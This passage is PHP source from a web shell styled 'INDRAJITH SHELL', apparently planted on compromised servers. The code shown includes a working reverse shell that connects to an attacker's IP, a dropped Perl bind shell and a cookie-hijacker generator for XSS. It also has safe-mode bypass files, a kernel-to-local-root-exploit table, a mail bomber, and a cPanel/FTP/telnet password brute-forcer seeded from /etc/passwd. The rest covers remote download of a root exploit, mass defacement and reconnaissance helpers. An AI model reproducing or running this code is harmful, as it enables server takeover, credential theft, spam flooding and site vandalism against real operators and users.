global $your_ip;
echo "<div id=\'result\'>
<center><h2>Reverse Shell</h2><hr />
<br /><br /><form method=\'GET\'><table class=tbl>
<tr>
<td><select name=\'rev_option\' style=\'color:green; background-color:black; border:1px solid #666;\'>
<option>PHP Reverse Shell</option>
<option>PERL Bind Shell</option>
</select></td></tr><tr>
<td>Your IP : <input name=\'my_ip\' value=".$your_ip.">
PORT : <input name=\'my_port\' value=\'560\'>
<input type=\'submit\' value=\' >> \' /></td></tr></form>
<tr></tr>
<tr><td><font color=red>PHP Reverse Shell</font> : <font color=green> nc -l -p <i>port</i></font></td></tr><tr><td><font color=red>PERL Bind Shell</font> : <font color=green> nc <i>server_ip port</i></font></td></tr></table> </div>";
}
function reverse_conn_bg()
{
global $os;
$option=$_REQUEST[\'rev_option\'];
$ip=$_GET[\'my_ip\'];
$port=$_GET[\'my_port\'];
if($option=="PHP Reverse Shell")
{
echo "<div id=result><h2>RESULT</h2><hr /><br />";
function printit ($string)
{
if (!$daemon)
{
print "$string
";
}
}
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = \'uname -a; w; id; /bin/sh -i\';
$daemon = 0;
$debug = 0;
if (function_exists(\'pcntl_fork\'))
{
$pid = pcntl_fork();
if ($pid == -1)
{
printit("ERROR: Can\'t fork");
exit(1);
}
if ($pid)
{
exit(0);
}
if (posix_setsid() == -1)
{
printit("Error: Can\'t setsid()");
exit(1);
}
$daemon = 1;
}
else
{
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock)
{
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process))
{
printit("ERROR: Can\'t spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("<font color=green>Successfully opened reverse shell to $ip:$port </font>");
while (1)
{
if (feof($sock))
{
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1]))
{
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a))
{
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a))
{
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a))
{
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "<br /><br /><hr /><br /><br /></div>";
}
else if($option=="PERL Bind Shell")
{
global $bind_perl, $os;
$pbfl=$bind_perl;
$handlr=fopen("indrajith_perl_bind.pl", "wb");
if($handlr)
{
fwrite($handlr, gzinflate(base64_decode($bind_perl)));
}
else
{
alert("Access Denied for create new file");
}
fclose($handlr);
if(file_exists("indrajith_perl_bind.pl"))
{
if($os=="nix")
{
cmd("chmod +x indrajith_perl_bind.pl;perl indrajith_perl_bind.pl $port");
}
else
{
cmd("perl indrajith_perl_bind.pl $port");
}
}
}
}
function cookie_jack()
{
global $cookie_highjacker;
echo "<div id=result><center><h2>NOTICE</h2><hr/>";
if(function_exists(\'fopen\') && function_exists(\'fwrite\'))
{
$cook=gzinflate(base64_decode($cookie_highjacker));
$han_le=fopen("jith_cookie.php", "w+");
if($han_le)
{
fwrite($han_le, $cook);
echo "Yes... Cookie highjacker is generated.<br /> Name : <a style=\'color:green;\' target=_blank href=jith_cookie.php>jith_cookie.php</a></font>.<br /> Rename it as 404.php or what you like and highjack cookie of your target.<br />It is usefull in XSS<br />It will make a file <font color=red>configuration.txt</font> in this direcory and save the cookie value in it. :p cheers...<br /><br /><hr /><br /><br /></center></div>";
}
else
{
echo "<font color=red>Sorry... Generate COOKIE HIGHJACKER failed<br /><br /><hr /><br /><br /></center></div>";
}
}
}
function safe_mode_fuck()
{
global $s_php_ini,$s_htaccess,$s_htaccess_pl,$ini_php;
$path = chdir($_GET[\'path\']);
chdir($_GET[\'path\']);
switch($_GET[\'safe_mode\'])
{
case "s_php_ini":
$s_file=$s_php_ini;
$s_name="php.ini";
break;
case "s_htaccess":
$s_name=".htaccess";
$s_file=$s_htaccess;
break;
case "s_htaccess_pl":
$s_name=".htaccess";
$s_file=$s_htaccess_pl;
break;
case "s_ini_php":
$s_name="ini.php";
$s_file=$ini_php;
break;
}
if(function_exists(\'fopen\')&& function_exists(\'fwrite\'))
{
$s_handle=fopen("$s_name", "w+");
if($s_handle)
{
fwrite($s_handle, $s_file);
alert("Operation Succeed!!!");
}
else
{
alert("Access Denied!!!");
}
fclose($s_handle);
}
}
function safe_mode_fuck_ui()
{
global $path;
$path=getcwd();
echo "<div id=result><br /><center><h2>Select Your Options</h2><hr />
<table class=tbl size=10><tr><td><a href=?path={$path}&safe_mode=s_php_ini>PHP.INI</a></td><td><a href=?path={$path}&safe_mode=s_htaccess>.HTACCESS</a></td><td><a href=?path={$path}&safe_mode=s_htaccess_pl>.HTACCESS(perl)</td><td><a href=?path={$path}&safe_mode=s_ini_php>INI.PHP</td></tr></table><br /><br /></div>";
}
function AccessDenied()
{
global $path, $forbid_dir;
$path=$_GET[\'path\'];
chdir($path);
if(function_exists(\'fopen\') && function_exists(\'fwrite\'))
{
$forbid=fopen(".htaccess", "wb");
if($forbid)
{
fwrite($forbid, $forbid_dir);
alert("Opreation Succeeded");
}
else
{
alert("Access Denied");
}
fclose($forbid);
}
}
function r00t_exploit()
{
$kernel = php_uname();
$r00t_db = array(\'2.6.19\'=>\'jessica\',\'2.6.20\'=>\'jessica\',\'2.6.21\'=>\'jessica\',\'2.6.22\'=>\'jessica\',\'2.6.23\'=>\'jessica, vmsplice\',\'2.6.24\'=>\'jessica, vmspice\',\'2.6.31\'=>\'enlightment\',\'2.6.18\'=>\'brk, ptrace, kmod, brk2\',\'2.6.17\'=>\'prctl3, raptor_prctl, py2\',\'2.6.16\'=>\'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit\',\'2.6.15\'=>\'py2, exp.sh, raptor, raptor2, h00lyshit\',\'2.6.14\'=>\'raptor, raptor2, h00lyshit\',\'2.6.13\'=>\'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit\',\'2.6.12\'=>\'h00lyshit\',\'2.6.11\'=>\'krad3, krad, h00lyshit\',\'2.6.10\'=>\'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2\',\'2.6.9\'=>\'exp.sh, krad3, py2, prctl3, h00lyshit\',\'2.6.8\'=>\'h00lyshit, krad, krad2\',\'2.6.7\'=>\'h00lyshit, krad, krad2\',\'2.6.6\'=>\'h00lyshit, krad, krad2\',\'2.6.2\'=>\'h00lyshit, krad, mremap_pte\',\'2.6.\'=>\'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak\',\'2.4.29\'=>\'elflbl, expand_stack, stackgrow2, uselib24, smpracer\',\'2.4.27\'=>\'elfdump, uselib24\',\'2.4.25\'=>\'uselib24\',\'2.4.24\'=>\'mremap_pte, loko, uselib24\',\'2.4.23\'=>\'mremap_pte, loko, uselib24\',\'2.4.22\'=>\'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod\',\'2.4.21\'=>\'w00t, brk, uselib24, loginx, brk2, ptrace-kmod\',\'2.4.20\'=>\'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod\',\'2.4.19\'=>\'newlocal, w00t, ave, uselib24, loginx, kmod\',\'2.4.18\'=>\'km2, w00t, uselib24, loginx, kmod\',\'2.4.17\'=>\'newlocal, w00t, uselib24, loginx, kmod\',\'2.4.16\'=>\'w00t, uselib24, loginx\',\'2.4.10\'=>\'w00t, brk, uselib24, loginx\',\'2.4.9\'=>\'ptrace24, uselib24\',\'2.4.\'=>\'kmdx, remap, pwned, ptrace_kmod, ong_bak\',\'2.2.25\'=>\'mremap_pte\',\'2.2.24\'=>\'ptrace\',\'2.2.\'=>\'rip,ptrace\');
foreach($r00t_db as $kern=>$exp)
{
if(strstr($kernel, $kern))
{
return $exp;
}
else
{
$exp=\'<font color="red">Not found.</font>\';
return $exp;
}
}
}
function php_ende_ui()
{
echo "<div id=result><center><h2>PHP ENCODE/DECODE</h2></center><hr /><form method=\'post\'><table class=tbl>
<tr><td>
Method : <select name=\'typed\' style=\'color:green; background-color:black; border:1px solid #666;\'><option>Encode</option><option>Decode</decode></select> TYPE : <select name=\'typenc\' style=\'color:green; background-color:black; border:1px solid #666;\'><option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
</td><tr><td><textarea spellcheck=\'false\' class=textarea_edit cols=\'80\' rows=\'25\' name=\'php_content\'>INPUT YOUR CONTENT TO ENCODE/DECODE
For Encode Input your full source code.
For Decode Input the encoded part only.</textarea></tr></td></table><hr /><input class=\'input_big\' type=\'submit\' value=\' >> \' /><br /><hr /><br /><br /></form></div>";
}
function php_ende_bg()
{
$meth_d=$_POST[\'typed\'];
$typ_d=$_POST[\'typenc\'];
$c_ntent=$_POST[\'php_content\'];
$c_ntent=$c_ntent;
switch($meth_d)
{
case "Encode":
switch($typ_d)
{
case "GZINFLATE":
$res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.\' \'),\'<?php, ?>\'),9));
$res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
break;
case "GZUNCOMPRESS":
$res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.\' \'),\'<?php, ?>\'),9));
$res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
break;
case "STR_ROT13":
$res_t=trim(stripslashes($c_ntent.\' \'),\'<?php, ?>\');
$res_t=base64_encode(str_rot13($res_t));
$res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
break;
}
break;
case "Decode":
switch($typ_d)
{
case "GZINFLATE":
$res_t=gzinflate(base64_decode($c_ntent));
break;
case "GZUNCOMPRESS":
$res_t=gzuncompress(base64_decode($c_ntent));
break;
case "STR_ROT13":
$res_t=str_rot13(base64_decode($c_ntent));
break;
}
break;
}
echo "<div id=result><center><h2>INDRAJITH SHELL</h2><hr /><textarea spellcheck=\'false\' class=textarea_edit cols=\'80\' rows=\'25\'>".htmlspecialchars($res_t)."</textarea></center></div>";
}
function massmailer_ui()
{
echo "<div id=result><center><h2>MASS MAILER & MAIL BOMBER</h2><hr /><table class=tbl width=40 style=\'col-width:40\'><td><table class=tbl><tr style=\'float:left;\'><td><font color=green size=4>Mass Mail</font></td></tr><form method=\'POST\'><tr style=\'float:left;\'><td> FROM : </td><td><input name=\'from\' size=40 value=\'[email protected]\'></td></tr><tr style=\'float:left;\'><td>TO :</td><td><input size=40 name=\'to_mail\' value=\'[email protected],[email protected]\'></td></tr><tr style=\'float:left;\'><td>Subject :</td><td><input size=40 name=\'subject_mail\' value=\'Hi, GuyZ\'></td></tr><tr style=\'float:left;\'><td><textarea spellcheck=\'false\' class=textarea_edit cols=\'34\' rows=\'10\' name=\'mail_content\'>I\'m doing massmail :p</textarea></td><td><input class=\'input_big\' type=\'submit\' value=\' >> \'></td></tr></form></table></td>
<form method=\'post\'><td> <table class=\'tbl\'><td><font color=green size=4>Mail Bomber</font></td></tr><tr style=\'float:left;\'><td>TO : </td><td><input size=40 name=\'bomb_to\' value=\'[email protected],[email protected]\'></td></tr><tr style=\'float:left;\'><td>Subject : </td><td><input size=40 name=\'bomb_subject\' value=\'Bombing with messages\'></td></tr><tr style=\'float:left;\'><td>No. of times</td><td><input size=40 name=\'bomb_no\' value=\'100\'></td></tr><tr style=\'float:left;\'><td> <textarea spellcheck=\'false\' class=textarea_edit cols=\'34\' rows=\'10\' name=\'bmail_content\'>I\'m doing E-Mail Bombing :p</textarea> </td><td><input class=\'input_big\' type=\'submit\' value=\' >> \'></td></tr></form></table> </td></tr></table>";
}
function massmailer_bg()
{
$from=$_POST[\'from\'];
$to=$_POST[\'to_mail\'];
$subject=$_POST[\'subject_mail\'];
$message=$_POST[\'mail_content\'];
if(function_exists(\'mail\'))
{
if(mail($to,$subject,$message,"From:$from"))
{
echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=green size=4>Successfully Mails Send... :p</font><br /><br /><hr /><br /><br />";
}
else
{
echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Sending... :(</font><br /><br /><hr /><br /><br />";
}
}
else
{
echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Sending... :(</font><br /><br /><hr /><br /><br />";
}
}
function mailbomb_bg()
{
$rand=rand(0, 9999999);
$to=$_POST[\'bomb_to\'];
$from="[email protected]";
$subject=$_POST[\'bomb_subject\']." ID ".$rand;
$times=$_POST[\'bomb_no\'];
$content=$_POST[\'bmail_content\'];
if($times==\'\')
{
$times=1000;
}
while($times--)
{
if(function_exists(\'mail\'))
{
if(mail($to,$subject,$message,"From:$from"))
{
echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=green size=4>Successfully Mails Bombed... :p</font><br /><br /><hr /><br /><br />";
}
else
{
echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Bombing... :(</font><br /><br /><hr /><br /><br />";
}
}
else
{
echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Bombing... :(</font><br /><br /><hr /><br /><br />";
}
}
}
/* ----------------------- CPANEL CRACK is Copied from cpanel cracker ----------*/
/*------------------------ Credit Goes to Them ---------------------------------*/
function cpanel_check($host,$user,$pass,$timeout)
{
set_time_limit(0);
global $cpanel_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "<b><font color=orange>Error :</font> <font color=red>Connection Timeout. Please Check The Target Hostname .</font></b>";
exit;
}
else if (curl_errno($ch) == 0 )
{
print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"orange\">[~]</font></b><font face=\"Tahoma\" style=\"font-size: 9pt\"><b><font color=\"green\">
Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\" and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
}
curl_close($ch);
}
function cpanel_crack()
{
set_time_limit(0);
global $os;
echo "<div id=result>";
$cpanel_port="2082";
$connect_timeout=5;
if(!isset($_POST[\'username\']) && !isset($_POST[\'password\']) && !isset($_POST[\'target\']) && !isset($_POST[\'cracktype\']))
{
?>
<center>
<form method=post>
<table class=tbl>
<tr>
<td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
</tr>
<tr>
<td align=center>User names</td><td align=center>Password</td>
</tr>
<tr>
<td align=center><textarea spellcheck=\'false\' class=textarea_edit name=username rows=25 cols=35 class=box><?php
if($os != "win")
{
if(@file(\'/etc/passwd\'))
{
$users = file(\'/etc/passwd\');
foreach($users as $user)
{
$user = explode(\':\', $user);
echo $user[0] . "
";
}
}
else
{
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
$temp = trim($temp);
if($file5 = fopen("test.txt","w"))
{
fputs($file5,$temp);
fclose($file5);
$file = fopen("test.txt", "r");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo $matches;
}
fclose($file);
}
}
}
?></textarea></td><td align=center><textarea spellcheck=\'false\' class=textarea_edit name=password rows=25 cols=35 class=box></textarea></td>
</tr>
<tr>
<td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
</tr>
<tr>
<td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
</tr>
<tr>
<td align=center colspan=2><input type="submit" value=" Go " class=but></td>
</tr>
</table>
</form>
</center>
<?php
}
else
{
if(empty($_POST[\'username\']) || empty($_POST[\'password\']))
echo "<center>Please Enter The Users or Password List</center>";
else
{
$userlist=explode("
",$_POST[\'username\']);
$passlist=explode("
",$_POST[\'password\']);
if($_POST[\'cracktype\'] == "ftp")
{
foreach ($userlist as $user)
{
$pureuser = trim($user);
foreach ($passlist as $password )
{
$purepass = trim($password);
ftp_check($_POST[\'target\'],$pureuser,$purepass,$connect_timeout);
}
}
}
if ($_POST[\'cracktype\'] == "cpanel" || $_POST[\'cracktype\'] == "telnet")
{
if($cracktype == "telnet")
{
$cpanel_port="23";
}
else
$cpanel_port="2082";
foreach ($userlist as $user)
{
$pureuser = trim($user);
echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
Processing user $pureuser ...</font></b><br><br>";
foreach ($passlist as $password )
{
$purepass = trim($password);
cpanel_check($_POST[\'target\'],$pureuser,$purepass,$connect_timeout);
}
}
}
}
}
echo "</div>";
}
function get_users()
{
$userz = array();
$user = file("/etc/passwd");
foreach($user as $userx=>$usersz)
{
$userct = explode(":",$usersz);
array_push($userz,$userct[0]);
}
if(!$user)
{
if($opd = opendir("/home/"))
{
while(($file = readdir($opd))!== false)
{
array_push($userz,$file);
}
}
closedir($opd);
}
$userz=implode(\', \',$userz);
return $userz;
}
function exploit_details()
{
global $os;
echo "<div id=result style=\'color:green;\'><center>
<h2>Exploit Server Details</h2><hr /><br /><br /><table class=table style=\'color:green;text-align:center\'><tr><td>
OS: <a style=\'color:7171C6;text-decoration:none;\' target=_blank href=\'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".php_uname(s)."\'>".php_uname(s)."</td></tr>
<tr><td>PHP Version : <a style=\'color:7171C6;text-decoration:none;\' target=_blank href=\'?phpinfo\'>".phpversion().".</td></tr>
<tr><td>Kernel Release : <font color=7171C6>".php_uname(r)."</font></td></tr>
<tr><td>Kernel Version : <font color=7171C6>".php_uname(v)."</font></td></td>
<tr><td>Machine : <font color=7171C6>".php_uname(m)."</font></td</tr>
<tr><td>Server Software : <font color=7171C6>".$_SERVER[\'SERVER_SOFTWARE\']."</font></td</tr><tr>";
if(function_exists(\'apache_get_modules\'))
{
echo "<tr><td style=\'text-align:left;\'>Loaded Apache modules : <br /><br /><font color=7171C6>";
echo implode(\', \', apache_get_modules());
echo "</font></tr></td>";
}
if($os==\'win\')
{
echo "<tr><td style=\'text-align:left;\'>Account Setting : <font color=7171C6><pre>".cmd(\'net accounts\')."</pre></td></tr>
<tr><td style=\'text-align:left\'>User Accounts : <font color=7171C6><pre>".cmd(\'net user\')."</pre></td></tr>
";
}
if($os==\'nix\')
{
echo "<tr><td style=\'text-align:left\'>Distro : <font color=7171C6><pre>".cmd(\'cat /etc/*-release\')."</pre></font></td></tr>
<tr><td style=\'text-align:left\'>Distr name : <font color=7171C6><pre>".cmd(\'cat /etc/issue.net\')."</pre></font></td></tr>
<tr><td style=\'text-align:left\'>GCC : <font color=7171C6><pre>".cmd(\'whereis gcc\')."</pre></td></tr>
<tr><td style=\'text-align:left\'>PERL : <font color=7171C6><pre>".cmd(\'whereis perl\')."</pre></td></tr>
<tr><td style=\'text-align:left\'>PYTHON : <font color=7171C6><pre>".cmd(\'whereis python\')."</pre></td></tr>
<tr><td style=\'text-align:left\'>JAVA : <font color=7171C6><pre>".cmd(\'whereis java\')."</pre></td></tr>
<tr><td style=\'text-align:left\'>APACHE : <font color=7171C6><pre>".cmd(\'whereis apache\')."</pre></td></tr>
<tr><td style=\'text-align:left;\'>CPU : <br /><br /><pre><font color=7171C6>".cmd(\'cat /proc/cpuinfo\')."</font></pre></td></tr>
<tr><td style=\'text-align:left\'>RAM : <font color=7171C6><pre>".cmd(\'free -m\')."</pre></td></tr>
<tr><td style=\'text-align:left\'> User Limits : <br /><br /><font color=7171C6><pre>".cmd(\'ulimit -a\')."</pre></td></tr>";
$useful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$uze=array();
foreach($useful as $uzeful)
{
if(cmd("which $uzeful"))
{
$uze[]=$uzeful;
}
}
echo "<tr><td style=\'text-align:left\'>Useful : <br /><font color=7171C6><pre>";
echo implode(\', \',$uze);
echo "</pre></td></tr>";
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
$uze=array();
foreach($downloaders as $downloader)
{
if(cmd("which $downloader"))
{
$uze[]=$downloader;
}
}
echo "<tr><td style=\'text-align:left\'>Downloaders : <br /><font color=7171C6><pre>";
echo implode(\', \',$uze);
echo "</pre></td></tr>";
echo "<tr><td style=\'text-align:left\'>Users : <br /><font color=7171C6><pre>".wordwrap(get_users())."</pre</font>></td></tr>
<tr><td style=\'text-align:left\'>Hosts : <br /><font color=7171C6><pre>".cmd(\'cat /etc/hosts\')."</pre></font></td></tr>";
}
echo "</table><br /><br /><hr /><br /><br />";
}
function remote_file_check_ui()
{
echo "<div id=result><center><h2>Remote File Check</h2><hr /><br /><br />
<table class=tbl><form method=\'POST\'><tr><td>URL : <input size=50 name=\'rem_web\' value=\'http://www.ajithkp560.hostei.com/php/\'></td></tr>
<tr><td><font color=red>Input File\'s Names in TextArea</font></tr></td><tr><td><textarea spellcheck=\'false\' class=\'textarea_edit\' cols=50 rows=30 name=\'tryzzz\'>indrajith.php
ajithkp560.php
index.html
profile.php
c99.php
r57.php</textarea></td></tr>
<tr><td><br /><input type=\'submit\' value=\' >> \' class=\'input_big\' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />";
}
function remote_file_check_bg()
{
set_time_limit(0);
$rtr=array();
echo "<div id=result><center><h2>Scanner Report</h2><hr /><br /><br /><table class=tbl>";
$webz=$_POST[\'rem_web\'];
$uri_in=$_POST[\'tryzzz\'];
$r_xuri = trim($uri_in);
$r_xuri=explode("
", $r_xuri);
foreach($r_xuri as $rty)
{
$urlzzx=$webz.$rty;
if(function_exists(\'curl_init\'))
{
echo "<tr><td style=\'text-align:left\'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
$ch = curl_init($urlzzx);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($status_code==200)
{
echo "<td style=\'text-align:left\'><font color=green> Found....</font></td></tr>";
}
else
{
echo "<td style=\'text-align:left\'><font color=red>Not Found...</font></td></tr>";
}
}
else
{
echo "<font color=red>cURL Not Found </font>";
break;
}
}
echo "</table><br /><br /><hr /><br /><br /></div>";
}
function remote_download_ui()
{
echo "<div id=result><center><h2>Remote File Download</h2><hr /><br /><br /><table class=tbl><form method=\'GET\'><input type=hidden name=\'path\' value=".getcwd()."><tr><td><select style=\'color:green; background-color:black; border:1px solid #666;\' name=\'type_r_down\'><option>WGET</option><option>cURL</option></select></td></tr>
<tr><td>URL <input size=50 name=\'rurlfile\' value=\'ajithkp560.hostei.com/localroot/2.6.x/h00lyshit.zip\'></td></tr>
<tr><td><input type=\'submit\' class=\'input_big\' value=\' >> \' /></td></tr></form></table><br /><br /><hr /><br /><br /></div>";
}
function remote_download_bg()
{
chdir($_GET[\'path\']);
global $os;
$opt=$_GET[\'type_r_down\'];
$rt_ffile=$_GET[\'rurlfile\'];
$name=basename($rt_ffile);
echo "<div id=result>";
switch($opt)
{
case "WGET":
if($os!=\'win\')
{
cmd("wget $rt_ffile");
alert("Downloaded Successfully...");
}
else
{
alert("Its Windows OS... WGET is not available");
}
break;
case "cURL":
if(function_exists(\'curl_init\'))
{
$ch = curl_init($rt_ffile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
file_put_contents($name, $data);
alert("Download succeeded");
}
else
{
alert("cURL Not Available");
}
break;
}
echo "</div>";
}
function hex_encode_ui()
{
if(isset($_REQUEST[\'hexinp\']) && isset($_REQUEST[\'tyxxx\']))
{
$tyx=$_POST[\'tyxxx\'];
$rezultzz=$_POST[\'hexinp\'];
switch($tyx)
{
case "Encode":
$rzul=PREG_REPLACE("\'(.)\'e","dechex(ord(\'\1\'))",$rezultzz);
echo "<div id=result><center><h2>HEXADECIMAL ENCODER</h2><hr /><br /><br />
<textarea class=\'textarea_edit\' spellcheck=false cols=60 rows=10>$rzul</textarea>
<br /><br /><form method=\'POST\'><select style=\'color:green; background-color:black; border:1px solid #666;\' name=\'tyxxx\'><option>Encode</option><option>Decode</option></select>
Input : <input name=\'hexinp\' size=50 value=\'input here\'><input type=submit value=\' >> \' /><br /><br /><hr /><br /><br /></div>";
break;
case "Decode":
$rzul=PREG_REPLACE("\'([\S,\d]{2})\'e","chr(hexdec(\'\1\'))",$rezultzz);
echo "<div id=result><center><h2>HEXADECIMAL ENCODER</h2><hr /><br /><br />
<textarea class=\'textarea_edit\' spellcheck=false cols=60 rows=10>$rzul</textarea>
<br /><br /><form method=\'POST\'><select style=\'color:green; background-color:black; border:1px solid #666;\' name=\'tyxxx\'><option>Encode</option><option>Decode</option></select>
Input : <input name=\'hexinp\' size=50 value=\'input here\'><input type=submit value=\' >> \' /><br /><br /><hr /><br /><br /></div>";
break;
}
}
else
{
echo "<div id=result><center><h2>HEXADECIMAL ENCODER</h2><hr /><br /><br />
<textarea class=\'textarea_edit\' spellcheck=false cols=60 rows=10>Here visible Your Result</textarea>
<br /><br /><form method=\'POST\'><select style=\'color:green; background-color:black; border:1px solid #666;\' name=\'tyxxx\'><option>Encode</option><option>Decode</option></select>
Input : <input name=\'hexinp\' size=50 value=\'input here\'><input type=submit value=\' >> \' /><br /><br /><hr /><br /><br /></div>";
}
}
function killme()
{
global $self;
echo "<div id=result><center><h2>Good Bye Dear</h2><hr />Dear, Good by... :( Hope You Like me...<br /><br /><br/><hr /><br /><br />";
$me=basename($self);
unlink($me);
}
function ftp_anonymous_ui()
{
echo "<div id=\'result\'><center><h2>Anonymous FTP Scanner</h2><hr /></center><table class=tbl><form method=\'GET\'><tr><td><textarea name=\'ftp_anonz\' cols=40 rows=25 class=\'textarea_edit\'>127.0.0.1
ftp.google.com
ftp.r00t.com
ftp.ajithkp.org
...
...</textarea></td></tr><tr><td><input class=\'input_big\' type=\'submit\' value=\' >> \' /></td></tr></form></table><br /><br /><hr /><br /><br />";
}
function ftp_anonymous_bg()
{
echo "<div id=result><center><h2>Result</h2></center><hr /><br /><br /><table class=table>";
$ftp_list=$_GET[\'ftp_anonz\'];
$xftpl = trim($ftp_list);
$xftpl = explode("
", $xftpl);
foreach($xftpl as $xftp)
{
$xftp = str_replace("ftp://", "", $xftp);
$conn_ftp = ftp_connect($xftp);
$success = ftp_login($conn_ftp, "anonymous", "");
if($success)
{
echo "<tr><td><font color=7171C6>$xftp</font></td><td><font color=green>Successfull</font></td></tr>";
}
else
{
echo "<tr><td><font color=7171C6>$xftp</font></td><td><font color=red>Failed</font></td></tr>";
}
}
echo "</table><br /><br /><hr /><br /><br />";
}
function mass_deface_ui()
{
echo "<div id=result><center><h2>Mass Deface</h2><hr /><br /><br /><table class=tbl><form method=\'GET\'><input name=\'mm_path\' type=\'hidden\' value=".$_GET[\'path\']."><tr><td>Name : <input size=40 name=\'mass_name\'></td></tr>
<tr><td><textarea name=\'mass_cont\' cols=80 rows=25 class=\'textarea_edit\'></textarea></td></tr><tr><td><input class=\'input_big\' type=submit value=\' >> \' /></td></tr></form></table><br /><br /><hr /><br /><br /></div>";
}
function mass_deface_bg()
{
global $sep;
$d_path=$_GET[\'mm_path\'];
chdir($d_path);
$d_file=$_GET[\'mass_name\'];
$d_conten=$_GET[\'mass_cont\'];
if(is_dir($d_path))
{
chdir($d_path);
$d_dirs=array();
if($handle=opendir($d_path))
{
while(($item=readdir($handle))!==FALSE)
{
if($item=="."){continue;}
if($item==".."){continue;}
if(is_dir($item))
{
array_push($d_dirs, $item);
}
}
}
}
echo "<div id=result><center><h2>Result</h2></center><hr /><br /><br /><table class=tbl>";
